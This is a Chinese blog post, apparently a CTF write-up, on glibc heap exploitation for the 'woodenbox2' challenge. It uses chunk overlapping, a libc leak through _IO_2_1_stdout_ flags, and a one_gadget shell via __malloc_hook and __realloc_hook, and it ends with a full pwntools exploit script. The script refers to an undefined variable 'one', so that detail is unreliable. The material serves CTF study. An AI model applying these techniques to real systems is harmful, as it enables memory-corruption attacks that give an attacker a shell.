目錄
  1. 1. 知识点
    1. 1.1. overlapping
    2. 1.2. _IO_2_1_stdout_
    3. 1.3. realloc_hook
  2. 2. 例题:gxzyCTF woodenbox2
    1. 2.1. 分析
    2. 2.2. exp
  3. 3. 总结
利用_IO_2_1_stdout_泄漏libc

知识点

overlapping

overlapping是一种堆块漏洞利用中相当常见的套路,非常好用,它比较常见的利用条件是off-by-one等堆漏洞。

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/chunk_extend_overlapping-zh

_IO_2_1_stdout_

查看stdout结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> p stdout
$4 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_>
pwndbg> p/x _IO_2_1_stdout_
$7 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7dd26a3,
_IO_read_end = 0x7ffff7dd26a3,
_IO_read_base = 0x7ffff7dd26a3,
_IO_write_base = 0x7ffff7dd26a3,
_IO_write_ptr = 0x7ffff7dd26a3,
_IO_write_end = 0x7ffff7dd26a3,
_IO_buf_base = 0x7ffff7dd26a3,
_IO_buf_end = 0x7ffff7dd26a4,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0xa},
_lock = 0x7ffff7dd3780,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7dd06e0
}

当stdout->_flags改变时,可能打印出libc地址,具体参考/usr/include/x86_64-linux-gnu/bits/libio.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

一种泄露libc的用法是添加_IO_CURRENTLY_PUTTING和 _IO_IS_APPENDING标志位,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>

int main()
{
int flags,modified_flag;
setbuf(stdout, NULL);
flags = stdout->_flags;
stdout->_flags = 0xfbad2087 | 0x1000 | 0x800;
stdout->_IO_write_base -= 8;
printf("flags: 0x%x\n", flags);
modified_flag = stdout->_flags;
printf("modified_flag: 0x%x\n", modified_flag);
}

运行结果如下:

1
2
�����flags: 0xfbad2087
modified_flag: 0xfbad3887

realloc_hook

realloc_hook的常见利用方式是在使用one_gadget时平衡栈空间。

one_gadget如下:在使用时需要满足一些栈条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  woodenbox one_gadget ./libc6_2.23-0ubuntu11_amd64.so 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

由于调用realloc回去查看realloc_hook是否存在,存在的话会先调用realloc_hook。realloc_hook的地址刚好在malloc_hook上面。常见手段为:在malloc_hook中写入realloc+n,在realloc_hook中写入one_gadget。调用malloc来触发one_gadget。

例题:gxzyCTF woodenbox2

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  woodenbox checksec woodenbox2 
[*] '/mnt/hgfs/shared/gxzy/pwn/woodenbox/woodenbox2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
➜ woodenbox ./woodenbox2
----------------------------
Wooden Box Menu
----------------------------
1.add a new item
2.change the item in the box
3.remove the item in the box
4.exit
----------------------------
Your choice:

保护全开,没有show,基本是要想办法泄露libc。程序在change的时候存在堆溢出,因此可以利用overlapping。然后结合unsortedbin来爆破_IO_2_1_stdout_的地址,改变flag来泄露libc,最后将one_gadget写入malloc来getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'

p = process("./woodenbox2")
elf = ELF("./woodenbox2")
libc = ELF("./libc6_2.23-0ubuntu11_amd64.so")

def add(l,name):
p.sendlineafter("choice:","1")
p.sendlineafter("length of item name:",str(l))
p.sendlineafter("name of item:",name)

def change(idx,l,name):
p.sendlineafter("choice:","2")
p.sendlineafter("index of item:",str(idx))
p.sendlineafter("length of item name:",str(l))
p.sendlineafter("new name of the item:",name)

def remove(idx):
p.sendlineafter("choice:","3")
p.sendlineafter("item:",str(idx))

#overlapping
add(0x68,"0"*0x68)
add(0x68,"1"*0x68)
add(0x68,"2"*0x68)
add(0x68,"3"*0x68)
change(0,0x70,'0'*0x68+p64(0xe1))
remove(1)
remove(1)
add(0x38,"6"*0x38)
add(0x28,"7"*0x28)

#_IO_2_1_stdout_
change(2,0x32,'5'*0x28+p64(0x71)+'\xdd\x25')
add(0x68,"4"*0x68)
add(0x68,'\x00'*0x33+p64(0xfbad1800)+3*p64(0)+'\x00')
leak=u64(p.recv(8).ljust(8,'\x00'))
libc.address = leak - (0x7ffff7a89b00 -0x7ffff7a0d000)
log.info("libc_base:"+hex(libc.address))
__malloc_hook = libc.symbols['__malloc_hook']
log.info('__malloc_hook:'+hex(__malloc_hook))
realloc = libc.symbols['realloc']
log.info('realloc:'+hex(realloc))
one_gadget = libc.address+0x4526a
log.info('one_gadget:'+hex(one))

#realloc_hook
remove(3)
change(1,0x38,'5'*0x28+p64(0x71)+p64(__malloc_hook-0x23))
add(0x68,'\x00'*0x68)
add(0x68,'\x00'*3+p64(0)+p64(one)+p64(realloc))
p.sendlineafter("choice:","1")

p.interactive()

总结

对于堆溢出漏洞(例如off-by-one),常见的打法是overlapping造成double free,然后将one_gadget写入realloc_hook中。如果没有show操作,就可以利用_IO_1_2_stdout来泄漏libc。

文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/03/13/利用-IO-2-1-stdout-泄漏libc/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL